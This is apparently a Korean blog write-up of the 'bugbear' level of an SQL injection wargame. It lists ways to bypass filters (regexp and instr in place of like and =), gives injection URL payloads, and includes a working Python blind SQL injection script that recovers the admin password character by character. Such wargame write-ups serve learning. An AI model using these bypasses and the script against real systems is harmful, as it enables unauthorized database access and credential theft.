Grini 2019. 7. 5. 03:47

[bugbear] https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php

필터링되는 항목이 많아졌다...;;

like도,, =도 사용할 수 없다.

like, = 필터링 우회 방법과 문자열 함수를 찾아보았다.

 

[ 우회 방법 ]
<, >, between, in, instr, regexp
regexp는 like와 비슷하게 사용되며, 와일드 카드 대신 정규식을 이용해 비교한다.
(정규식 시작 : ^, 끝 : $)

[ 문자열 검색 함수 ]
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index('ab','b',1)

[ 문자열 비교 함수 ]
strcmp('a','a')
mod('a','a')
find_in_set('a','a')
field('a','a')
count(concat('a','a'))

[ SQL Injection 필터링 우회 ] https://security04.tistory.com/171

 

해당 우회 방법 및 내장 함수를 조합하여 pw를 알아낼 수 있다.

우선, like 대신 regexp를 이용하여 'Hello admin'을 출력시켜 보았다.

 

?no=0||id%0aregexp%0a"^admin"

위와 같이 우회할 수 있다는 것을 확인하였다.

 

pw 값 알아내기
?no=0||id%0aregexp%0a"admin"%26%26pw%0aregexp%0a"^a"
?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,n),1))<hex("[0 - 9], [a - z]")
?no=0||instr(left(pw,n),a)

 

python을 이용하여 pw를 찾아보았다.

 

[ 소스 코드 ]

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import requests

headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'}
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

len = 1
pw = ''

while True:
	data = '?no=0||id%0aregexp%0a"admin"%26%26length(pw)<' + str(len)
	r = requests.get(url + data, headers = headers)
	if r.text.find('Hello admin') != -1 :
		break
	len += 1
print "[+] Get Password Length : ",len - 1

for i in range(1, len):
	for j in string:
   		#'?no=0||id%0aregexp%0a"admin"%26%26hex(right(left(pw,' + str(i) + '),1))<hex(' + str(j) + ')'
		data = '?no=0||id%0aregexp%0a"admin"%26%26instr(left(pw,' + str(i) + '),"' + pw + j + '")'
		r = requests.get(url + data, headers = headers)
		if r.text.find('Hello admin') != -1 :
			pw = pw + j
			print "[*] Finding ... : ",pw
			break
	
print "[+] Found Password : ", pw

[ 실행 결과 ]

 

pw : 52dc3991

 

?pw=52dc3991

점점 필터링이 많아지고,, 어려워진다...

SQL 내장 함수나 연산자를 많이 공부해야겠다.